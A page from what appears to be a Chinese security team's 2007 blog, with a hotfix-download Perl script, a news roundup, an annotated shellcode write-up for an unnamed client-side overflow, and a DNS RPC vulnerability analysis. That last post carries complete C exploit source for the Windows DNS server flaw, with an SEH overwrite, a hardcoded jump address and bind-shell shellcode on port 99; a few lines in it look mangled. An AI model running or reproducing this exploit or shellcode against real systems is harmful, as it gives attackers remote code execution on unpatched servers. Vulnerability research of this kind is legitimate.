Skip navigation.

幻影旅团

Ph4nt0m Security Team

STICKY POST

[News]幻影blog搬迁公告

by axis
2007-05-28
http://www.ph4nt0m.org

由于MyOpera被大陆的GFW给封锁了,所以现在将blog搬迁到blogger

可以直接通过
http://www.ph4nt0m.org
http://blog.ph4nt0m.org
http://pstgroup.blogspot.com

三种方式来访问。

请转告您的亲朋好友,以及更新rss feed和链接。

谢谢您对幻影的支持!我们将一如既往的提供高质量的blog更新。

最后,XXX一下GFW!!!

Read more...

[Tips]用perl来处理mbsa的结果

Author: 云舒@ph4nt0m
Date: 2007-05-14
http://www.ph4nt0m.org

相信很多人和我遇到一样的问题,那就是windows自动升级时,svchost进程占用了100%的CPU导致什么都做不了了,不升级吧,那显然是不行的。但是自己手动下载补丁安装,就不会消耗cpu资源了,但是这样操作起来太麻烦,我就写了这样一个perl脚本老进行自动执行。首先使用mbsa扫描系统,找到没有安装的补丁,然后使用perl对扫描报告进行分析,自动下载补丁保存到本地来。

微软比较不厚道的是,把扫描报告藏起来了,我的winxp系统,mbsa2.1版本,扫描结果在这里:C:\Documents and Settings\Administrator\SecurityScans,文件其实都是普通的xml文件,只是扩展名被改为mbsa了,文件里面的 DownloadURL就是我们需要的。

perl脚本如下,主要就是解析XML文档,再使用lwp来下载,很简单,我就不注释了:
代码:

# 2007年5月14日下午,闷热无聊的周一,by 云舒

use warnings;
use strict;
use LWP::Simple;
use XML::Simple;
use XML::Parser;

# 这里都定义死了,因为是我自己用啊,呵呵
my $scan_reports = "hotfix.xml";
my $directory = "F:\hotfix\";

my $flag = "DownloadURL";

my $tag;
my @urls;

# 去掉字符串前后的空白字符
sub Trim
{
        my $string = shift;

        $string =~ s/^\s+//;
        $string =~ s/\s+$//;
        
        return $string;
}

print "Code by yunshu,used to download hotfix from microsoft.\n\n";

my $parser = new XML::Parser(ErrorContext => 2);

$parser->setHandlers( Start => \&startElement, End => \&endElement, Char => \&characterData, Default => \&default );

$parser->parsefile( $scan_reports );

foreach my $url ( @urls )
{
    my @fields = split( '/', $url );
    my $count = @fields;
    my $file_name = $fields[ $count - 1 ];
    
    my $full_path = $directory.$file_name;
    if( not -f $full_path )
    {
        print "Try to download $url\n";
        getstore( $url, $full_path );
    }
    else
    {
        print "$full_path is exists,test next.\n";
    }
}

sub startElement
{
    my( $parseinst, $element, %attrs ) = @_;

    if ($element eq "DownloadURL")
    {
        $tag = "DownloadURL";
    }
    else
    {
        $tag = "defalut";
    }
}

sub endElement
{
    my( $parseinst, $element ) = @_;
}

sub characterData
{
    my( $parseinst, $data ) = @_;

    if( $tag eq $flag )
    {
        chomp( $data );
        
        my $url = Trim($data);
        
        if( $url ne "" )
        {
            push( @urls, $url );
        }
    }
}

sub default
{
    my ( $parseinst, $data ) = @_;
}



评论
写这个小脚本的意图很简单,我前几天重装了系统,但是在打补丁的情况下就没有办法工作。干脆花1个小时,来看看mbsa怎么做的,翻一下perl解析xml的文档,做出了这样个小东西。

[Tips]这个SheUcode比较有意思

Author: czy@ph4nt0m
Date: 2007-05-14
http://www.ph4nt0m.org



这个SheUcode比较有意思

某客户端程序0day,溢出发生时
EAX=00000000  EBX=00000000 ECX=00000006 EDX=7C92EB94 ESI=00000001
EDI=001362B0  ESP=001E0061 ESP=00136110 EIP=7FFA5564 o d I s Z a P c
CS=001B  DS=0023 SS=0023 ES=0023 FS=003B GS=0000


看似比较简单的栈溢出,程序也没有/GS,但是字符串长度限制为100个字节(不能覆盖SEH),而且
字符串会部分转化为UniCode格式,通过分析溢出发生时可以用转化后的字符串覆盖函数返回地
址,同时EDI刚好指向转化后的字符串开头.在简中系统下代码页刚好有个JMP EDI(6455FA7F)
而6455FA7F的ANSI编码为C6A1C24F.OK跳转地址搞定,来看看SHELLCODE怎么写了,由于这个漏洞
非常特殊,字符串是部分转化,而且长度只有100个字节,所以只能想办法在这100个字节中用小SHELLCODE
找大SHELLCODE了.经过测试发现XP SP2下,SEHLLCODE中的异常处理代码不能在栈中,所以还得想
法把代码移到堆中.下面是我的办法:先看第四部分.




第一部分:
:00136193 5E                      pop esi       ;因为是CALL跳过来的,POP后ESI变为001361BC,esp+4=0013610C
:00136194 5E                      pop esi       ;esi变为001361D5也就是异常处理指令的地址
:00136195 55                      push ebp      ;通过分析漏洞,溢出发生时EBP的值为是跳转地址前面的四字节(UNICODE格式)
:00136196 5F                      pop edi       ;EDI变为001E0061
:00136197 A5                      movsd
:00136198 A5                      movsd
:00136199 A5                      movsd
:0013619A A5                      movsd         ;把ESI(001361D5)中的代码移到(edi)001e0061中
:0013619B 55                      push ebp      ;设置新的异常处理函数地址
:0013619C EB1E                    jmp ↓001361BC ;回到第二部分
:0013619E 61                      popad
:0013619F 61                      popad
:001361A0 61                      popad
:001361A1 61                      popad
:001361A2 61                      popad
:001361A3 61                      popad
:001361A4 61                      popad
:001361A5 61                      popad
:001361A6 61                      popad
:001361A7 61                      popad
:001361A8 61                      popad
:001361A9 61                      popad
:001361AA 1E                      push ds
:001361AB C6A1C24F                转化前的跳转地址(7FFA5564 JMP EDI)


第二部分:
:001361B0 6481EFDB000000          sub edi,000000DB        ;edi为001362B0-db=001361d5,得到第三部分指令的地址
:001361B6 57                      push edi                ;esp-4=0013610C,edi=001361d5
:001361B7 E8D7FFFFFF              call ↑00136193          ;esp-4=00136108,函数功能:把异常处理指令移到堆中
:001361BC 64FF30                  push dword ptr fs:[eax] ;在跳过来之前新的异常处理地址已经压栈,现保存原来的
:001361BF 648920                  mov dword ptr fs:[eax], esp ;esp也就是异常处理结构的地址比较巧妙
:001361C2 BA41424142              mov edx, 42414241           ;搜索ABAB
:001361C7 BF00001400              mov edi, 00140000           ;起始地址00140000
:001361CC 3B17                    cmp edx, dword ptr [edi]
:001361CE 7403                    je  ↓001361D3
:001361D0 47                      inc edi
:001361D1 EBF9                    jmp ↑001361CC
:001361D3 57                      push edi
:001361D4 C3                      ret


第三部分:处理搜索内存异常的代码
:001361D5 8B54240C                mov edx, dword ptr [esp+0C]
:001361D9 80C29C                   add dl, 9C
:001361DC 33C0                        xor eax, eax
:001361DE B440                       mov ah, 40
:001361E0 0102                       add dword ptr [edx], eax
:001361E2 33C0                      xor eax, eax
:001361E4 C3                           ret


第四部分:程序首先从代码页中的JMP EDI跳到这儿.
:001362B0 57                      push edi         ;edi为001362B0,push以后ESP变为0013610C
:001362B1 004700                  add [edi+00],al  ;nop
:001362B4 44                      inc esp          ;esp变为0013610D
:001362B5 004700                  add [edi+00],al  ;nop
:001362B8 59                      pop ecx          ;ecx的值为XX001362,ESP变为00136111
:001362B9 004700                  add [edi+00],al  ;nop
:001362BC 49                      dec ecx          ;ecx变为XX001361
:001362BD 004700                  add [edi+00],al  ;nop
:001362C0 51                      push ecx         ;ESP变为0013610D
:001362C1 004700                  add [edi+00],al  ;nop
:001362C4 4C                      dec esp          ;ESP变为0013610C
:001362C5 004700                  add [edi+00],al  ;nop
:001362C8 C3                      ret              ;ESP变为溢出发生时的00136110,程序跳001361B0


还没晕吧?纯粹指令技巧,主要是为了让代码是全字母且是UNICODE格式.
其实这部分代码等于执行
sub edi,100h
jmp edi

这个漏洞非常奇怪,字符是部分转化,且EDI-100H处是没转化的字符,所以先用上面的这个办法跳到
没转化的指令去执行.当然由于字符串长度的限制也没法直接写UNICODE编码的SHELLCODE.
下面请看第二部分的代码.

[News]Uninformed Journal Release Announcement: Volume 7

Uninformed is pleased to announce the release of its seventh volume. This
volume includes 3 articles on relating to exploitation technology and general
research:

- Exploitation Technology: Reducing the Effective Entropy of GS Cookies
Author: skape

- General Research: Memalyze: Dynamic Analysis of Memory Access Behavior in Software
Author: skape

- General Research: Mnemonic Password Formulas
Authors: I)ruid

This volume of the journal can be found at:

http://www.uninformed.org/?v=7

About Uninformed:

Uninformed is a non-commercial technical outlet for research in areas pertaining
to security technologies, reverse engineering, and lowlevel programming. The
goal, as the name implies, is to act as a medium for informing the uninformed.
The research presented in each edition is simply an example of the evolutionary
thought that affects all academic and professional disciplines.

- The Uninformed Staff
staff [at] uninformed.org

[News]Security Week in Review(2007-05-08)

by axis
2007-05-08
http://www.ph4nt0m.org

五一黄金周终于结束了,而我也从火星休假完毕,回到了地球。从今天开始,幻影的blog开始恢复更新。

那么这一个礼拜内,安全界又有哪些值得我们关注的新闻呢?这里我简述下我关注的一点东西,一家之言,欢迎大家补充。

漏洞方面:
1. ZDI-07-023: Apple QTJava toQTPointer() Pointer Arithmetic Memory Overwrite Vulnerability

http://www.zerodayinitiative.com/advisories/ZDI-07-023.html
这个漏洞又是和JAVA相关的。

2. PHP新版本 5.5.2/4.4.7 fix MOPB
http://www.php.net/releases/5_2_2.php
http://www.php.net/releases/4_4_7.php

新版本的PHP修补了MOPB中的漏洞

3. WordPress 漏洞若干
具体见milw0rm以及各大安全网站

4. Gimp buffer overflow



paper方面:
1. WinRAR 7z压缩包处理溢出分析和利用(by gyzy)
http://www.neeao.com/blog/article.asp?id=3410

漏洞是老漏洞了,不过这个漏洞利用起来有几个难点,这篇分析写的不错,推荐一下.

2. Windows Vista ISV Security
http://msdn2.microsoft.com/en-us/library/bb430720.aspx

全面介绍windows vista安全特性的文章,强烈推荐仔细阅读。

3. Hacking Web 2.0 - Defending Ajax and Web Services [HITB 2007 Dubai]
http://www.slideshare.net/shreeraj/hacking-web-20-defending-ajax-and-web-services-hitb-2007-dubai

很不错的一篇关于web2.0安全的ppt,值得好好看看


4. Debugging Application Security Vulnerabilities in Web.config Files
http://www.securitypark.co.uk/article.asp?articleid=26905&CategoryID=1



5. 云舒放出了dns vuln scanner的win版本代码
http://www.icylife.net/yunshu/show.php?id=419

再FUCK微软一下。

6. 最近zzzevazzz和大成天下有一场别开生面的关于文件保护软件的讨论,有兴趣的可以好好看看eva和wlj的blog。

顶eva一下 :)


八卦方面:
1. Digg This: 09-f9-11-02-9d-74-e3-5b-d8-41-56-c5-63-56-88-c0

最近沸沸扬扬的关于破解了HD-DVD,结果被封杀的新闻,digg最后在广大用户前让步了。


2. 听说www.neeao.com被黑了,并不曾亲见,八卦一下,纯属娱乐。

3. 云舒这个MJJ的QQ居然被盗了,真是常在网上飞,哪能不被黑!直接损失就是幻影exploit研究院的若干private exp和0day可能泄露,这个MJJ的!! >_<



幻影处在转型的重要时期,如果幻影对大家有过帮助,请看在一点香火情分上,在自己的blog或小站上加上幻影blog和邮件列表的链接,这样有助于提高我们的人气和影响力,纯属自愿,谢谢!

幻影的blog: http://blog.ph4nt0m.org
邮件列表: http://list.ph4nt0m.org

[Exploit]DNS RPC 分析

Author: 云舒
Date: 2007-04-27
http://www.ph4nt0m.org

根据安全公告的漏洞描述,漏洞发生在dns.exe程序中的DnssrvQuery函数,这个函数是一个RPC函数,允许客户端进行远程调用。先用IDA对

dns.exe进行静态的反汇编分析,找到如下调用关系:

找到地址010154EC处,看到代码如下:

.text:010154EC                 cmp     cl, 5Ch            ; is '\'?
.text:010154EF                 jnz     short loc_1015484    ; Next Char
.text:010154F1                 push    [ebp+arg_4]
.text:010154F4                 push    edi
.text:010154F5                 push    ebx
.text:010154F6                 call    _extractQuotedChar@12 ; extractQuotedChar(x,x,x)
.text:010154FB                 mov     edi, eax
.text:010154FD                 mov     eax, [ebp+arg_0]
.text:01015500                 inc     ebx
.text:01015501                 jmp     short loc_1015484 


其实这些对我来说关系不大,看了漏洞描述就成。我需要的是找到这个地址0x010154EC好进行动态调试。加载dns.exe,在010154EC处下断点,发送这样的字符,可以看见栈内存被覆盖。我在Windows Server 2003 Standard Chinese SP1上进行的调试,开始覆盖的起始内存地址为0x0138F6AF处。因为有stack cookie,所以选择覆盖SEH地址。

看看栈里面,发现最近的SEH地址为0x0138FD10,距离覆盖开始的距离为1633字节。一直加大字节数,最终会覆盖到分页未映射的内存区域,触发异常,接管程序流程。测试之后发现esp+12是在我们的覆盖范围之内,这样就是需要找一个pop/pop/ret的转跳地址。经过分析,在 windows server 2003 Standard sp1中文版上面,需要的地址为0x769C1A61(这个地址不错,这里可以连续pop三次再ret,不过我们只需要两次pop)。由于需要在字符前面加上'\'绕过长度检测,因此,覆盖到SEH的长度为1633 * 2 字节。覆盖到SEH pop/pop/ret之后,程序会跳到SEH的前面,这就又需要往高址转跳6个字节,EB 06就可以了。

最终在内存中的数据示意图如下:

内存低址                                                                    内存高址
NOP NOP NOP NOP NOP........EB 06 NOP NOP pop/pop/ret shellcode NOP NOP NOP............ 


执行顺序为触发异常,接管执行pop/pop/ret,执行到eb 06,再执行到shellcode,收工。

针对上述分析,我写了一个测试性质的攻击程序,不具备危害性,经过测试,这些分析正确,攻击代码见后。(编译这段代码很麻烦的,嘿嘿,先要 midl编译idl文件,然后再编译这段CPP代码)这段代码纯粹是为了演示和分析用,对公司内部的讲座,如果被人修改了进行攻击,偶不管……其实修改这个EXP很容易……—_—!

/*
DNS_RPC

by 云舒
http://www.ph4nt0m.org

Windows Server 2003 Standard Chinese SP1

开始覆盖        0138F6AF
SEH             0138FD10
未映射内存区域    01390000

1633字节 + 4字节的POP/RET 刚好覆盖到SEH,执行到0138F380

769C1A61    Windows Server 2003 Standard CN SP1

加大字节覆盖到未映射内存区域,引发异常接管。

需要注意的是,要在有效字符之前插入反斜杠,所以长度翻倍。我这里的做法是先忽略反斜杠因素,构造好整个缓冲区,然后再插入反斜杠。个人觉得我的代码还是比较清晰的,起码比MilW0rm上面的简洁明了。
*/

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <Rpc.h>
#include "dnsxpl.h"

#pragma comment( lib, "ws2_32.lib" )
#pragma comment( lib, "Rpcrt4.lib" )

#define    OBJ_UUID    "50abc2a4-574d-40b3-9d66-ee4fd5fba076"
#define    PRO_SEQ        "ncacn_ip_tcp"

/* win32_bind -  EXITFUNC=seh LPORT=99 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char shell[] =
"\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xfa"
"\xac\x69\x80\x83\xeb\xfc\xe2\xf4\x06\xc6\x82\xcd\x12\x55\x96\x7f"
"\x05\xcc\xe2\xec\xde\x88\xe2\xc5\xc6\x27\x15\x85\x82\xad\x86\x0b"
"\xb5\xb4\xe2\xdf\xda\xad\x82\xc9\x71\x98\xe2\x81\x14\x9d\xa9\x19"
"\x56\x28\xa9\xf4\xfd\x6d\xa3\x8d\xfb\x6e\x82\x74\xc1\xf8\x4d\xa8"
"\x8f\x49\xe2\xdf\xde\xad\x82\xe6\x71\xa0\x22\x0b\xa5\xb0\x68\x6b"
"\xf9\x80\xe2\x09\x96\x88\x75\xe1\x39\x9d\xb2\xe4\x71\xef\x59\x0b"
"\xba\xa0\xe2\xf0\xe6\x01\xe2\xc0\xf2\xf2\x01\x0e\xb4\xa2\x85\xd0"
"\x05\x7a\x0f\xd3\x9c\xc4\x5a\xb2\x92\xdb\x1a\xb2\xa5\xf8\x96\x50"
"\x92\x67\x84\x7c\xc1\xfc\x96\x56\xa5\x25\x8c\xe6\x7b\x41\x61\x82"
"\xaf\xc6\x6b\x7f\x2a\xc4\xb0\x89\x0f\x01\x3e\x7f\x2c\xff\x3a\xd3"
"\xa9\xff\x2a\xd3\xb9\xff\x96\x50\x9c\xc4\x69\xe3\x9c\xff\xe0\x61"
"\x6f\xc4\xcd\x9a\x8a\x6b\x3e\x7f\x2c\xc6\x79\xd1\xaf\x53\xb9\xe8"
"\x5e\x01\x47\x69\xad\x53\xbf\xd3\xaf\x53\xb9\xe8\x1f\xe5\xef\xc9"
"\xad\x53\xbf\xd0\xae\xf8\x3c\x7f\x2a\x3f\x01\x67\x83\x6a\x10\xd7"
"\x05\x7a\x3c\x7f\x2a\xca\x03\xe4\x9c\xc4\x0a\xed\x73\x49\x03\xd0"
"\xa3\x85\xa5\x09\x1d\xc6\x2d\x09\x18\x9d\xa9\x73\x50\x52\x2b\xad"
"\x04\xee\x45\x13\x77\xd6\x51\x2b\x51\x07\x01\xf2\x04\x1f\x7f\x7f"
"\x8f\xe8\x96\x56\xa1\xfb\x3b\xd1\xab\xfd\x03\x81\xab\xfd\x3c\xd1"
"\x05\x7c\x01\x2d\x23\xa9\xa7\xd3\x05\x7a\x03\x7f\x05\x9b\x96\x50"
"\x71\xfb\x95\x03\x3e\xc8\x96\x56\xa8\x53\xb9\xe8\x0a\x26\x6d\xdf"
"\xa9\x53\xbf\x7f\x2a\xac\x69\x80";

void __RPC_FAR * __RPC_USER midl_user_allocate(size_t len){ return(malloc(len)); }
void __RPC_USER midl_user_free(void __RPC_FAR * ptr){ free(ptr); }

void    Usage( char *ProgramName );
void    Exploit( char *Host, char * RpcPort );

int main( int argc, char *argv[] )
{
    WSAData        Wsa;

    char        Host[20] = { 0 };    // 目标主机,网络字节顺序
    char        RpcPort[8] = { 0 };            // 目标机器RPC高端口
    
    // 初始化网络库
    if( WSAStartup(0x0202, &Wsa) != 0 )
    {
        printf( "[-] WSAStartup failed with error: %d\n" , GetLastError() );
        return -1;
    }

    if( argc != 3 )
    {
        Usage( argv[0] );
        return -1;
    }

    strncpy( Host, argv[1], sizeof(Host) -1 );
    strncpy( RpcPort, argv[2], sizeof(RpcPort) - 1 );
    
    if( atoi(RpcPort) <= 1024 )
    {
        Usage( argv[0] );
        return -1;
    }

    Exploit( Host, RpcPort );

    return 1;
}

// 显示帮助
void Usage( char *ProgramName )
{
    printf( "Usage: %s  <TargetIP>  <RpcPort>\n", ProgramName );
}

void Exploit( char *Host, char *RpcPort )
{
    unsigned char    *StringBinding = NULL;
    unsigned char    *Options = NULL;

    RPC_STATUS Status = RpcStringBindingComposeA( (unsigned char *)OBJ_UUID,
                                                    (unsigned char *)PRO_SEQ,
                                                    (unsigned char *)Host,
                                                    (unsigned char *)RpcPort,
                                                    Options,
                                                    &StringBinding );

    if( RPC_S_OK != Status )
    {
        printf( "[-] RpcStringBindingCompose failed, exit!\n" );
        exit(-1);
    }
    printf( "[+] Connect to %s successful!\n", StringBinding );

    //RPC_BINDING_HANDLE    Dns;

    Status = RpcBindingFromStringBindingA( (unsigned char *)StringBinding, &dns );
    if( RPC_S_OK != Status )
    {
        printf( "[-] RpcBindingFromStringBinding failed, exit!\n" );
        exit(-1);
    }
    printf( "[+] RpcBindingFromStringBinding successful!\n" );

    wchar_t    * ArguA = L"ph4nt0myunshu";

    int    BuffSize = 4000;

    unsigned char    * TmpBuff = (unsigned char *)malloc( BuffSize );

    // 填充缓冲区
    memset( (void *)TmpBuff, '\x90', BuffSize );
    
    // 加入Pop/Pop/Ret转跳地址,覆盖SEH
    int    PopRet = 1633;
    memset( (void *)(TmpBuff + PopRet), '\x60', 1 );
    memset( (void *)(TmpBuff + PopRet + 1), '\x1A', 1 );
    memset( (void *)(TmpBuff + PopRet + 2), '\x9C', 1 );
    memset( (void *)(TmpBuff + PopRet + 3), '\x76', 1 );

    // 加入二次转跳命令,往高址跳6字节,跳到seh的高址,执行
    memset( (void *)(TmpBuff + PopRet - 4), '\xEB', 1 );
    memset( (void *)(TmpBuff + PopRet - 3), '\x06', 1 );

    // shellcode字符数组后面会有一个\x00,所以需要sizeof-1
    memcpy( (void *)(TmpBuff + PopRet + 4), (void *)shell, sizeof(shell) - 1 );

    /*
    内存低址                                                    内存高址
    NOP NOP NOP NOP NOP NOP NOP   eb 06 90 90 pop/pop/ret  shellcode NOP NOP NOP
    */
    
    // 插入反斜杠,转换为"\x5c\x90\x5c\x90\x5c\x90.....\x5c\xeb\x5c\x06"格式
    unsigned char    * ArguB = (unsigned char *)malloc( BuffSize * 2 + 4 );
    memset( (void *)ArguB, '\', BuffSize * 2 + 4 );

    for( int index = 0; index < BuffSize; index ++ )
    {
        ArguB[index * 2 + 1] = TmpBuff[index];
    }

    ArguB[BuffSize * 2 + 4 -1] = '';

    unsigned char    *ArguC = (unsigned char *)malloc( 10 );
    strcpy( (char *)ArguC, "ICYLIFE" );
    long            *ArguD = (long *)malloc( 20 );
    long            *ArguE = (long *)malloc( 20 );

    // 发送exp数据
    printf( "[+] Try to telnet 99 port, good luck!\n" );
    RpcTryExcept
    {
        Status = DnssrvQuery( ArguA, ArguB, ArguC, ArguD, ArguE );
    }

    RpcExcept(1)
    {
        Status = RpcExceptionCode( );
        //printf( "[-] RPC Server reported exception 0x%lx = %ld\n", Status, Status );
    }
    RpcEndExcept

    free( TmpBuff );
    free( ArguB );
    free( ArguC );
    free( ArguD );
    free( ArguE );
} 
November 2009
S M T W T F S
October 2009December 2009
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30